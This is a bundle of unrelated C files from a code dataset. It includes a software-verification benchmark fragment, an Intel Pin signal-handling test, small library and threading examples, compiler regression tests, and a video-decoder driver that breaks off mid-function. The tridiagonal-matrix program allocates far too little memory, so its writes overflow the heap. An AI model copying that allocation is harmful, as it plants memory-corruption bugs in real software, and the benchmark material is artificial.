if(((((((((a26==1)&&!(a6==1))&&!(a27==1))&&!(a12==1))&&(a3==1))&&(a11==1))&&(a5==1))&&(a18==1))){ error_45: exit(0); } if(((((((((a26==1)&&(a6==1))&&(a27==1))&&!(a12==1))&&(a3==1))&&(a11==1))&&(a5==1))&&(a18==1))){ error_35: exit(0); } if((((((((!(a26==1)&&(a6==1))&&(a27==1))&&!(a12==1))&&(a3==1))&&!(a11==1))&&(a5==1))&&(a18==1))){ error_52: exit(0); } if(((((((((a26==1)&&!(a6==1))&&(a27==1))&&(a12==1))&&(a3==1))&&(a11==1))&&(a5==1))&&(a18==1))){ error_39: exit(0); } if(((((((((a26==1)&&!(a6==1))&&!(a27==1))&&(a12==1))&&(a3==0))&&(a11==1))&&(a5==1))&&(a18==1))){ error_9: exit(0); } if(((((((((a26==1)&&(a6==1))&&!(a27==1))&&!(a12==1))&&(a3==1))&&(a11==1))&&(a5==1))&&(a18==1))){ error_37: exit(0); } if(((((((((a26==1)&&!(a6==1))&&(a27==1))&&!(a12==1))&&(a3==1))&&(a11==1))&&(a5==1))&&(a18==1))){ error_43: exit(0); } if(((((((((a26==1)&&(a6==1))&&(a27==1))&&(a12==1))&&(a3==1))&&(a11==1))&&(a5==1))&&(a18==1))){ error_31: exit(0); } if((((((((!(a26==1)&&!(a6==1))&&(a27==1))&&!(a12==1))&&(a3==0))&&!(a11==1))&&(a5==1))&&(a18==1))){ error_28: exit(0); } if(((((((((a26==1)&&!(a6==1))&&(a27==1))&&!(a12==1))&&(a3==0))&&!(a11==1))&&(a5==1))&&(a18==1))){ error_27: exit(0); } if((((((((!(a26==1)&&(a6==1))&&!(a27==1))&&(a12==1))&&(a3==1))&&!(a11==1))&&(a5==1))&&(a18==1))){ error_50: exit(0); } if(((((((((a26==1)&&!(a6==1))&&!(a27==1))&&!(a12==1))&&(a3==0))&&(a11==1))&&(a5==1))&&(a18==1))){ error_13: exit(0); } if((((((((!(a26==1)&&!(a6==1))&&!(a27==1))&&(a12==1))&&(a3==0))&&!(a11==1))&&(a5==1))&&(a18==1))){ error_26: exit(0); } if((((((((!(a26==1)&&!(a6==1))&&(a27==1))&&(a12==1))&&(a3==0))&&(a11==1))&&(a5==1))&&(a18==1))){ error_8: exit(0); } if(((((((((a26==1)&&(a6==1))&&!(a27==1))&&!(a12==1))&&(a3==0))&&(a11==1))&&(a5==1))&&(a18==1))){ error_5: exit(0); } if(((((((((a26==1)&&(a6==1))&&!(a27==1))&&(a12==1))&&(a3==1))&&(a11==1))&&(a5==1))&&(a18==1))){ error_33: exit(0); } if((((((((!(a26==1)&&!(a6==1))&&!(a27==1))&&(a12==1))&&(a3==1))&&!(a11==1))&&(a5==1))&&(a18==1))){ error_58: exit(0); } if(((((((((a26==1)&&!(a6==1))&&!(a27==1))&&(a12==1))&&(a3==1))&&!(a11==1))&&(a5==1))&&(a18==1))){ error_57: exit(0); } if(((((((((a26==1)&&!(a6==1))&&(a27==1))&&(a12==1))&&(a3==1))&&!(a11==1))&&(a5==1))&&(a18==1))){ error_55: exit(0); } if((((((((!(a26==1)&&!(a6==1))&&(a27==1))&&!(a12==1))&&(a3==0))&&(a11==1))&&(a5==1))&&(a18==1))){ error_12: exit(0); } if(((((((((a26==1)&&(a6==1))&&(a27==1))&&!(a12==1))&&(a3==0))&&(a11==1))&&(a5==1))&&(a18==1))){ error_3: exit(0); } if((((((((!(a26==1)&&(a6==1))&&(a27==1))&&(a12==1))&&(a3==0))&&!(a11==1))&&(a5==1))&&(a18==1))){ error_16: exit(0); } if((((((((!(a26==1)&&(a6==1))&&!(a27==1))&&!(a12==1))&&(a3==1))&&!(a11==1))&&(a5==1))&&(a18==1))){ error_54: exit(0); } if((((((((!(a26==1)&&(a6==1))&&!(a27==1))&&!(a12==1))&&(a3==0))&&!(a11==1))&&(a5==1))&&(a18==1))){ error_22: exit(0); } if(((((((((a26==1)&&(a6==1))&&!(a27==1))&&(a12==1))&&(a3==1))&&!(a11==1))&&(a5==1))&&(a18==1))){ error_49: exit(0); } if((((((((!(a26==1)&&(a6==1))&&!(a27==1))&&!(a12==1))&&(a3==0))&&(a11==1))&&(a5==1))&&(a18==1))){ error_6: exit(0); } if((((((((!(a26==1)&&!(a6==1))&&!(a27==1))&&!(a12==1))&&(a3==0))&&(a11==1))&&(a5==1))&&(a18==1))){ error_14: exit(0); } if(((((((((a26==1)&&!(a6==1))&&(a27==1))&&(a12==1))&&(a3==0))&&!(a11==1))&&(a5==1))&&(a18==1))){ error_23: exit(0); } if(((((((((a26==1)&&!(a6==1))&&(a27==1))&&(a12==1))&&(a3==0))&&(a11==1))&&(a5==1))&&(a18==1))){ error_7: exit(0); } if((((((((!(a26==1)&&!(a6==1))&&(a27==1))&&(a12==1))&&(a3==1))&&!(a11==1))&&(a5==1))&&(a18==1))){ error_56: exit(0); } if(((((((((a26==1)&&!(a6==1))&&(a27==1))&&!(a12==1))&&(a3==1))&&!(a11==1))&&(a5==1))&&(a18==1))){ error_59: exit(0); } if((((((((!(a26==1)&&!(a6==1))&&!(a27==1))&&!(a12==1))&&(a3==0))&&!(a11==1))&&(a5==1))&&(a18==1))){ error_30: exit(0); } if(((((((((a26==1)&&(a6==1))&&(a27==1))&&(a12==1))&&(a3==0))&&(a11==1))&&(a5==1))&&(a18==1))){ globalError: exit(0); } if((((((((!(a26==1)&&!(a6==1))&&(a27==1))&&!(a12==1))&&(a3==1))&&(a11==1))&&(a5==1))&&(a18==1))){ error_44: exit(0); } if(((((((((a26==1)&&!(a6==1))&&!(a27==1))&&!(a12==1))&&(a3==0))&&!(a11==1))&&(a5==1))&&(a18==1))){ error_29: exit(0); } if((((((((!(a26==1)&&(a6==1))&&(a27==1))&&!(a12==1))&&(a3==1))&&(a11==1))&&(a5==1))&&(a18==1))){ error_36: exit(0); } if(((((((((a26==1)&&!(a6==1))&&!(a27==1))&&(a12==1))&&(a3==0))&&!(a11==1))&&(a5==1))&&(a18==1))){ error_25: exit(0); } if((((((((!(a26==1)&&!(a6==1))&&!(a27==1))&&(a12==1))&&(a3==0))&&(a11==1))&&(a5==1))&&(a18==1))){ error_10: exit(0); } if(((((((((a26==1)&&!(a6==1))&&!(a27==1))&&(a12==1))&&(a3==1))&&(a11==1))&&(a5==1))&&(a18==1))){ error_41: exit(0); } if((((((((!(a26==1)&&(a6==1))&&(a27==1))&&(a12==1))&&(a3==1))&&!(a11==1))&&(a5==1))&&(a18==1))){ error_48: exit(0); } if((((((((!(a26==1)&&!(a6==1))&&(a27==1))&&(a12==1))&&(a3==1))&&(a11==1))&&(a5==1))&&(a18==1))){ error_40: exit(0); } if((((((((!(a26==1)&&!(a6==1))&&!(a27==1))&&!(a12==1))&&(a3==1))&&(a11==1))&&(a5==1))&&(a18==1))){ error_46: exit(0); } if(((((((((a26==1)&&(a6==1))&&!(a27==1))&&(a12==1))&&(a3==0))&&(a11==1))&&(a5==1))&&(a18==1))){ error_1: exit(0); } if(((((((((a26==1)&&(a6==1))&&(a27==1))&&!(a12==1))&&(a3==0))&&!(a11==1))&&(a5==1))&&(a18==1))){ error_19: exit(0); } if(((((((((a26==1)&&(a6==1))&&(a27==1))&&!(a12==1))&&(a3==1))&&!(a11==1))&&(a5==1))&&(a18==1))){ error_51: exit(0); } if((((((((!(a26==1)&&(a6==1))&&(a27==1))&&(a12==1))&&(a3==1))&&(a11==1))&&(a5==1))&&(a18==1))){ error_32: exit(0); } if((((((((!(a26==1)&&(a6==1))&&!(a27==1))&&(a12==1))&&(a3==1))&&(a11==1))&&(a5==1))&&(a18==1))){ error_34: exit(0); } if((((((((!(a26==1)&&!(a6==1))&&(a27==1))&&(a12==1))&&(a3==0))&&!(a11==1))&&(a5==1))&&(a18==1))){ error_24: exit(0); } if((((((((!(a26==1)&&(a6==1))&&(a27==1))&&(a12==1))&&(a3==0))&&(a11==1))&&(a5==1))&&(a18==1))){ error_0: __VERIFIER_error(); } if(((((((((a26==1)&&!(a6==1))&&(a27==1))&&!(a12==1))&&(a3==0))&&(a11==1))&&(a5==1))&&(a18==1))){ error_11: exit(0); } if(((((((((a26==1)&&(a6==1))&&!(a27==1))&&!(a12==1))&&(a3==1))&&!(a11==1))&&(a5==1))&&(a18==1))){ error_53: exit(0); } if((((((((!(a26==1)&&(a6==1))&&(a27==1))&&!(a12==1))&&(a3==0))&&!(a11==1))&&(a5==1))&&(a18==1))){ error_20: exit(0); } if((((((((!(a26==1)&&!(a6==1))&&!(a27==1))&&(a12==1))&&(a3==1))&&(a11==1))&&(a5==1))&&(a18==1))){ error_42: exit(0); } if(((((((((a26==1)&&(a6==1))&&(a27==1))&&(a12==1))&&(a3==1))&&!(a11==1))&&(a5==1))&&(a18==1))){ error_47: exit(0); } if((((((((!(a26==1)&&(a6==1))&&(a27==1))&&!(a12==1))&&(a3==0))&&(a11==1))&&(a5==1))&&(a18==1))){ error_4: exit(0); } if(((((((((a26==1)&&(a6==1))&&!(a27==1))&&(a12==1))&&(a3==0))&&!(a11==1))&&(a5==1))&&(a18==1))){ error_17: exit(0); } if(((((((((a26==1)&&(a6==1))&&(a27==1))&&(a12==1))&&(a3==0))&&!(a11==1))&&(a5==1))&&(a18==1))){ error_15: exit(0); } if((((((((!(a26==1)&&(a6==1))&&!(a27==1))&&!(a12==1))&&(a3==1))&&(a11==1))&&(a5==1))&&(a18==1))){ error_38: exit(0); } if(((((((((a26==1)&&(a6==1))&&!(a27==1))&&!(a12==1))&&(a3==0))&&!(a11==1))&&(a5==1))&&(a18==1))){ error_21: exit(0); } if((((((((!(a26==1)&&(a6==1))&&!(a27==1))&&(a12==1))&&(a3==0))&&!(a11==1))&&(a5==1))&&(a18==1))){ error_18: exit(0); } if((((((((!(a26==1)&&(a6==1))&&!(a27==1))&&(a12==1))&&(a3==0))&&(a11==1))&&(a5==1))&&(a18==1))){ error_2: exit(0); } return -2; } int main() { // default output int output = -1; // main i/o-loop while(1) { // read input int input; input = __VERIFIER_nondet_int(); if ((input != 1) && (input != 2) && (input != 3) && (input != 4) && (input != 5) && (input != 6)) return -2; // operate eca engine output = calculate_output(input); } }
the_stack_data/1046339.c
/* * Copyright (C) 2009-2021 Intel Corporation. * SPDX-License-Identifier: MIT */ /* * This test verifies that the application can block SEGV without interfering with Pin's * ability to catch its own internally-generated SEGV's. This application causes Pin to * speculatively fetch instructions from a page that is unreadable, which generates an * internal SEGV in Pin. The test will only pass if Pin can handle that SEGV despite the * fact that the application has blocked it. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <signal.h> #include <sys/mman.h> #include <unistd.h> #ifndef MAP_ANONYMOUS #ifdef MAP_ANON #define MAP_ANONYMOUS MAP_ANON #endif #endif /* * We write this bit of machine code at the very end of a page, where the next page is unreadable. * We then call to "Entry" and expect it to return back. This code snippet is constructed in * such a way that Pin will speculatively fetch beyond the final JNE and attempt to fetch from * the unreadable page. */ const unsigned char Code[] = { 0xc3, /* L1: ret */ 0x66, 0x83, 0xfc, 0x00, /* Entry: cmp $0x0,%sp */ 0x75, 0xf9 /* jne L1 */ }; const size_t EntryOffset = 1; /* Offset of 'Entry' from start of 'Code' */ static void BlockSegv(); int main(int argc, char** argv) { size_t pageSize; char* twoPages; /* * Map a page of memory and ensure that the subsequent page is unreadable. */ pageSize = getpagesize(); twoPages = mmap(0, 2 * pageSize, (PROT_READ | PROT_WRITE | PROT_EXEC), (MAP_PRIVATE | MAP_ANONYMOUS), -1, 0); if (twoPages == MAP_FAILED) { printf("Unable to map pages\n"); return 1; } printf("Mapped two pages at %p\n", twoPages); printf("Unprotecting page at %p\n", twoPages + pageSize); if (mprotect(twoPages + pageSize, pageSize, PROT_NONE) != 0) { printf("Unable to unprotect second page\n"); return 1; } /* * Copy the "Code" to the end of the page. */ memcpy(twoPages + pageSize - sizeof(Code), Code, sizeof(Code)); /* * Block SEGV and then try to call the code snippet. Pin will try to * fetch from the unreadable page, which raises SEGV. We want to make * sure that the this doesn't cause a problem in Pin even though the * application has SEGV blocked. */ BlockSegv(); ((void (*)())(&twoPages[pageSize - sizeof(Code) + EntryOffset]))(); printf("Got back OK\n"); return 0; } static void BlockSegv() { sigset_t ss; sigemptyset(&ss); sigaddset(&ss, SIGSEGV); if (sigprocmask(SIG_BLOCK, &ss, 0) != 0) { printf("Unable to block SEGV\n"); exit(1); } }
the_stack_data/212642001.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_isalpha.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: lsandor- <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2018/11/27 14:23:37 by lsandor- #+# #+# */ /* Updated: 2018/11/27 14:42:19 by lsandor- ### ########.fr */ /* */ /* ************************************************************************** */ int ft_isalpha(int c) { if ((c >= 65 && c <= 90) || (c >= 97 && c <= 122)) return (1); else return (0); }
the_stack_data/576639.c
#include <string.h> void* memcpy(void* restrict dstptr, const void* restrict srcptr, size_t size) { unsigned char* dst = (unsigned char*) dstptr; const unsigned char* src = (const unsigned char*) srcptr; for (size_t i = 0; i < size; i++) dst[i] = src[i]; return dstptr; }
the_stack_data/150142006.c
#include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <unistd.h> #include <time.h> #include <sys/time.h> #define MAX_THREADS 16 #define MAX_ITERATIONS 40 // to change output color // https://stackoverflow.com/questions/3219393/stdlib-and-colored-output-in-c #define ANSI_COLOR_CYAN "\x1b[36m" #define ANSI_COLOR_GREEN "\x1b[32m" #define ANSI_COLOR_RESET "\x1b[0m" // global variable int counter = 0; pthread_mutex_t lock; /** * use this struct as a parameter for the function * nanosleep. * For exmaple : nanosleep(&ts, NULL); */ struct timespec ts = {0, 100000000}; // modified your struct struct ThreadArgs { pthread_t tid; int id; }; void *addValue(void *arg) { struct ThreadArgs* args = (struct ThreadArgs*)arg; int temp; for (int y = 0; y < MAX_ITERATIONS; y++) { pthread_mutex_lock(&lock); temp = counter; nanosleep(&ts, NULL); temp += 3; counter = temp; printf(ANSI_COLOR_GREEN "Current Value written to Global Variables by ADDER thread id: %-4d is %d\n", args->id, temp); pthread_mutex_unlock(&lock); } } void *subValue(void *arg) { struct ThreadArgs* args = (struct ThreadArgs*)arg; int temp; for (int y = 0; y < MAX_ITERATIONS; y++) { pthread_mutex_lock(&lock); temp = counter; nanosleep(&ts, NULL); temp -= 3; counter = temp; printf(ANSI_COLOR_CYAN "Current Value written to Global Variables by SUBTRACTOR thread id: %-4d is %d\n", args->id, temp); pthread_mutex_unlock(&lock); } } int main(int argc, char** argv) { struct ThreadArgs threads[MAX_THREADS]; int ret_val; if (pthread_mutex_init(&lock, NULL) != 0) { perror("Mutix init has failed..."); return -2; } // creates 16 threads for (int i = 0; i < MAX_THREADS; i++) { // evens if ((i % 2) == 0) { threads[i].id = i + 1; ret_val = pthread_create(&threads[i].tid, NULL, addValue, (void *)&threads[i]); if (ret_val < 0) { perror("Error creating thread.."); return -2; } // odds } else { threads[i].id = i + 1; ret_val = pthread_create(&threads[i].tid, NULL, subValue, (void *)&threads[i]); if (ret_val < 0) { perror("Error creating thread.."); return -2; } } } for (int i = 0; i < MAX_THREADS; i++) { ret_val = pthread_join(threads[i].tid, NULL); printf(ANSI_COLOR_RESET"Total threads joined: %i\n", i + 1); if (ret_val) { perror("Error joining thread: "); return -3; } } // prints the final count printf(ANSI_COLOR_RESET"Final Value of Shared Variable: %i\n", counter); return 0; }
the_stack_data/23575126.c
/* Generated by CIL v. 1.7.0 */ /* print_CIL_Input is false */ struct _IO_FILE; struct timeval; extern float strtof(char const *str , char const *endptr ) ; extern void signal(int sig , void *func ) ; typedef struct _IO_FILE FILE; extern int atoi(char const *s ) ; extern double strtod(char const *str , char const *endptr ) ; extern int fclose(void *stream ) ; extern void *fopen(char const *filename , char const *mode ) ; extern void abort() ; extern void exit(int status ) ; extern int raise(int sig ) ; extern int fprintf(struct _IO_FILE *stream , char const *format , ...) ; extern int strcmp(char const *a , char const *b ) ; extern int rand() ; extern unsigned long strtoul(char const *str , char const *endptr , int base ) ; void RandomFunc(unsigned short input[1] , unsigned short output[1] ) ; extern int strncmp(char const *s1 , char const *s2 , unsigned long maxlen ) ; extern int gettimeofday(struct timeval *tv , void *tz , ...) ; extern int printf(char const *format , ...) ; int main(int argc , char *argv[] ) ; void megaInit(void) ; extern unsigned long strlen(char const *s ) ; extern long strtol(char const *str , char const *endptr , int base ) ; extern unsigned long strnlen(char const *s , unsigned long maxlen ) ; extern void *memcpy(void *s1 , void const *s2 , unsigned long size ) ; struct timeval { long tv_sec ; long tv_usec ; }; extern void *malloc(unsigned long size ) ; extern int scanf(char const *format , ...) ; int main(int argc , char *argv[] ) { unsigned short input[1] ; unsigned short output[1] ; int randomFuns_i5 ; unsigned short randomFuns_value6 ; int randomFuns_main_i7 ; { megaInit(); if (argc != 2) { printf("Call this program with %i arguments\n", 1); exit(-1); } else { } randomFuns_i5 = 0; while (randomFuns_i5 < 1) { randomFuns_value6 = (unsigned short )strtoul(argv[randomFuns_i5 + 1], 0, 10); input[randomFuns_i5] = randomFuns_value6; randomFuns_i5 ++; } RandomFunc(input, output); if (output[0] == 322) { printf("You win!\n"); } else { } randomFuns_main_i7 = 0; while (randomFuns_main_i7 < 1) { printf("%u\n", output[randomFuns_main_i7]); randomFuns_main_i7 ++; } } } void RandomFunc(unsigned short input[1] , unsigned short output[1] ) { unsigned short state[1] ; unsigned short local1 ; char copy12 ; { state[0UL] = (input[0UL] + 51238316UL) + (unsigned short)8426; local1 = 0UL; while (local1 < (unsigned short)0) { if (state[0UL] < local1) { if (! (state[0UL] == local1)) { copy12 = *((char *)(& state[0UL]) + 0); *((char *)(& state[0UL]) + 0) = *((char *)(& state[0UL]) + 1); *((char *)(& state[0UL]) + 1) = copy12; copy12 = *((char *)(& state[0UL]) + 1); *((char *)(& state[0UL]) + 1) = *((char *)(& state[0UL]) + 0); *((char *)(& state[0UL]) + 0) = copy12; } } else { state[local1] += state[local1]; } local1 += 2UL; } output[0UL] = (state[0UL] + 760496316UL) + (unsigned short)39351; } } void megaInit(void) { { } }
the_stack_data/803707.c
#include <stdio.h> #include <stdlib.h> struct Matrix { int *A; int n; }; void Set(struct Matrix *m, int i, int j, int x) { if((i-j) == 0) { m->A[m->n-1+i-1] = x; } else if ((i-j) == 1) { m->A[i-1] = x; } else if ((j-i) == 1) { m->A[2*m->n-1+i-1] = x; } } int Get(struct Matrix m, int i, int j) { if((i-j) == 0) { return m.A[m.n-1+i-1]; } else if ((i-j) == 1) { return m.A[i-1]; } else if ((j-i) == 1) { return m.A[2*m.n-1+i-1]; } else { return 0; } } void Display(struct Matrix m) { int i, j; for(i=1;i<=m.n;i++){ for(j=1;j<=m.n;j++){ if((i-j) == 0) { printf("%d ", m.A[m.n-1+i-1]); } else if ((i-j) == 1) { printf("%d ", m.A[i-1]); } else if ((j-i) == 1) { printf("%d ", m.A[2*m.n-1+i-1]); } else { printf("0 "); } } printf("\n"); } } int main() { struct Matrix m; int i, j, x; printf("Enter Dimension:"); scanf("%d", &m.n); m.A = (int *)malloc(3 * m.n - 2 * sizeof(int)); printf("Enter all elements\n"); for(i=1;i<=m.n;i++){ for(j=1;j<=m.n;j++){ scanf("%d", &x); Set(&m, i, j, x); } } printf("\n\n"); Display(m); return 0; }
the_stack_data/1081139.c
/* !!DESCRIPTION!! char-sized post-increment and -decrement !!ORIGIN!! cc65 regression tests !!LICENCE!! Public Domain !!AUTHOR!! Lauri Kasanen */ static unsigned char val, array[2]; int main() { val = 0; array[0] = array[1] = 10; array[val++] = 2; array[val++] = 2; --val; array[val--] = 0; array[val--] = 0; return (array[0] == array[1] && array[0] == 0 && val == 0xff) ? 0 : 1; }
the_stack_data/212643389.c
/* $XFree86: xc/programs/Xserver/hw/xfree86/drivers/nsc/gfx/gfx_dcdr.c,v 1.1 2002/12/10 15:12:25 alanh Exp $ */ /* * $Workfile: gfx_dcdr.c $ * * This file contains routines to control the video decoder. * * gfx_set_decoder_defaults * gfx_set_decoder_analog_input * gfx_set_decoder_brightness * gfx_set_decoder_contrast * gfx_set_decoder_luminance_filter * gfx_set_decoder_hue * gfx_set_decoder_saturation * gfx_set_decoder_input_offset * gfx_set_decoder_input_size * gfx_set_decoder_output_size * gfx_set_decoder_scale * gfx_set_decoder_TV_standard * gfx_set_decoder_vbi_enable * gfx_set_decoder_vbi_format * gfx_set_decoder_vbi_upscale * gfx_decoder_software_reset * gfx_decoder_detect_macrovision * gfx_decoder_detect_video * * And the following routines if GFX_READ_ROUTINES is set: * * gfx_get_decoder_brightness * gfx_get_decoder_contrast * gfx_get_decoder_hue * gfx_get_decoder_saturation * gfx_get_decoder_input_offset * gfx_get_decoder_input_size * gfx_get_decoder_output_size * gfx_get_decoder_vbi_format * * NSC_LIC_ALTERNATIVE_PREAMBLE * * Revision 1.0 * * National Semiconductor Alternative GPL-BSD License * * National Semiconductor Corporation licenses this software * ("Software"): * * Durango * * under one of the two following licenses, depending on how the * Software is received by the Licensee. * * If this Software is received as part of the Linux Framebuffer or * other GPL licensed software, then the GPL license designated * NSC_LIC_GPL applies to this Software; in all other circumstances * then the BSD-style license designated NSC_LIC_BSD shall apply. * * END_NSC_LIC_ALTERNATIVE_PREAMBLE */ /* NSC_LIC_BSD * * National Semiconductor Corporation Open Source License for Durango * * (BSD License with Export Notice) * * Copyright (c) 1999-2001 * National Semiconductor Corporation. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following * disclaimer in the documentation and/or other materials provided * with the distribution. * * * Neither the name of the National Semiconductor Corporation nor * the names of its contributors may be used to endorse or promote * products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * NATIONAL SEMICONDUCTOR CORPORATION OR CONTRIBUTORS BE LIABLE FOR ANY * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE * GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER * IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE, * INTELLECTUAL PROPERTY INFRINGEMENT, OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY * OF SUCH DAMAGE. * * EXPORT LAWS: THIS LICENSE ADDS NO RESTRICTIONS TO THE EXPORT LAWS OF * YOUR JURISDICTION. It is licensee's responsibility to comply with * any export regulations applicable in licensee's jurisdiction. Under * CURRENT (2001) U.S. export regulations this software * is eligible for export from the U.S. and can be downloaded by or * otherwise exported or reexported worldwide EXCEPT to U.S. embargoed * destinations which include Cuba, Iraq, Libya, North Korea, Iran, * Syria, Sudan, Afghanistan and any other country to which the U.S. * has embargoed goods and services. * * END_NSC_LIC_BSD */ /* NSC_LIC_GPL * * National Semiconductor Corporation Gnu General Public License for Durango * * (GPL License with Export Notice) * * Copyright (c) 1999-2001 * National Semiconductor Corporation. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted under the terms of the GNU General * Public License as published by the Free Software Foundation; either * version 2 of the License, or (at your option) any later version * * In addition to the terms of the GNU General Public License, neither * the name of the National Semiconductor Corporation nor the names of * its contributors may be used to endorse or promote products derived * from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * NATIONAL SEMICONDUCTOR CORPORATION OR CONTRIBUTORS BE LIABLE FOR ANY * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE * GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER * IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE, * INTELLECTUAL PROPERTY INFRINGEMENT, OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY * OF SUCH DAMAGE. See the GNU General Public License for more details. * * EXPORT LAWS: THIS LICENSE ADDS NO RESTRICTIONS TO THE EXPORT LAWS OF * YOUR JURISDICTION. It is licensee's responsibility to comply with * any export regulations applicable in licensee's jurisdiction. Under * CURRENT (2001) U.S. export regulations this software * is eligible for export from the U.S. and can be downloaded by or * otherwise exported or reexported worldwide EXCEPT to U.S. embargoed * destinations which include Cuba, Iraq, Libya, North Korea, Iran, * Syria, Sudan, Afghanistan and any other country to which the U.S. * has embargoed goods and services. * * You should have received a copy of the GNU General Public License * along with this file; if not, write to the Free Software Foundation, * Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * END_NSC_LIC_GPL */ /* INCLUDE SUPPORT FOR PHILIPS SAA7114 DECODER, IF SPECIFIED */ #if GFX_DECODER_SAA7114 #include "saa7114.c" #endif /* WRAPPERS IF DYNAMIC SELECTION */ /* Extra layer to call various decoders. Currently only the Pillips */ /* decoder is supported, but still organized to easily expand later. */ #if GFX_DECODER_DYNAMIC /*----------------------------------------------------------------------------- * gfx_set_decoder_defaults *----------------------------------------------------------------------------- */ int gfx_set_decoder_defaults(void) { int status = GFX_STATUS_UNSUPPORTED; # if GFX_DECODER_SAA7114 if (gfx_decoder_type == GFX_DECODER_SAA7114) status = saa7114_set_decoder_defaults(); # endif return (status); } /*----------------------------------------------------------------------------- * gfx_set_decoder_analog_input *----------------------------------------------------------------------------- */ int gfx_set_decoder_analog_input(unsigned char input) { int status = GFX_STATUS_UNSUPPORTED; # if GFX_DECODER_SAA7114 if (gfx_decoder_type == GFX_DECODER_SAA7114) status = saa7114_set_decoder_analog_input(input); # endif return (status); } /*----------------------------------------------------------------------------- * gfx_set_decoder_brightness *----------------------------------------------------------------------------- */ int gfx_set_decoder_brightness(unsigned char brightness) { int status = GFX_STATUS_UNSUPPORTED; # if GFX_DECODER_SAA7114 if (gfx_decoder_type == GFX_DECODER_SAA7114) status = saa7114_set_decoder_brightness(brightness); # endif return (status); } /*----------------------------------------------------------------------------- * gfx_set_decoder_contrast *----------------------------------------------------------------------------- */ int gfx_set_decoder_contrast(unsigned char contrast) { int status = GFX_STATUS_UNSUPPORTED; # if GFX_DECODER_SAA7114 if (gfx_decoder_type == GFX_DECODER_SAA7114) status = saa7114_set_decoder_contrast(contrast); # endif return (status); } /*----------------------------------------------------------------------------- * gfx_set_decoder_hue *----------------------------------------------------------------------------- */ int gfx_set_decoder_hue(char hue) { int status = GFX_STATUS_UNSUPPORTED; # if GFX_DECODER_SAA7114 if (gfx_decoder_type == GFX_DECODER_SAA7114) status = saa7114_set_decoder_hue(hue); # endif return (status); } /*----------------------------------------------------------------------------- * gfx_set_decoder_saturation *----------------------------------------------------------------------------- */ int gfx_set_decoder_saturation(unsigned char saturation) { int status = GFX_STATUS_UNSUPPORTED; # if GFX_DECODER_SAA7114 if (gfx_decoder_type == GFX_DECODER_SAA7114) status = saa7114_set_decoder_saturation(saturation); # endif return (status); } /*----------------------------------------------------------------------------- * gfx_set_decoder_input_offset *----------------------------------------------------------------------------- */ int gfx_set_decoder_input_offset(unsigned short x, unsigned short y) { int status = GFX_STATUS_UNSUPPORTED; # if GFX_DECODER_SAA7114 if (gfx_decoder_type == GFX_DECODER_SAA7114) status = saa7114_set_decoder_input_offset(x, y); # endif return (status); } /*----------------------------------------------------------------------------- * gfx_set_decoder_input_size *----------------------------------------------------------------------------- */ int gfx_set_decoder_input_size(unsigned short width, unsigned short height) { int status = GFX_STATUS_UNSUPPORTED; # if GFX_DECODER_SAA7114 if (gfx_decoder_type == GFX_DECODER_SAA7114) status = saa7114_set_decoder_input_size(width, height); # endif return (status); } /*----------------------------------------------------------------------------- * gfx_set_decoder_output_size *----------------------------------------------------------------------------- */ int gfx_set_decoder_output_size(unsigned short width, unsigned short height) { int status = GFX_STATUS_UNSUPPORTED; # if GFX_DECODER_SAA7114 if (gfx_decoder_type == GFX_DECODER_SAA7114) status = saa7114_set_decoder_output_size(width, height); # endif return (status); } /*----------------------------------------------------------------------------- * gfx_set_decoder_scale *----------------------------------------------------------------------------- */ int gfx_set_decoder_scale(unsigned short srcw, unsigned short srch, unsigned short dstw, unsigned short dsth) { int status = GFX_STATUS_UNSUPPORTED; # if GFX_DECODER_SAA7114 if (gfx_decoder_type == GFX_DECODER_SAA7114) status = saa7114_set_decoder_scale(srcw, srch, dstw, dsth); # endif return (status); } /*----------------------------------------------------------------------------- * gfx_set_decoder_vbi_format *----------------------------------------------------------------------------- */ int gfx_set_decoder_vbi_format(int start, int end, int format) { int status = GFX_STATUS_UNSUPPORTED; # if GFX_DECODER_SAA7114 if (gfx_decoder_type == GFX_DECODER_SAA7114) status = 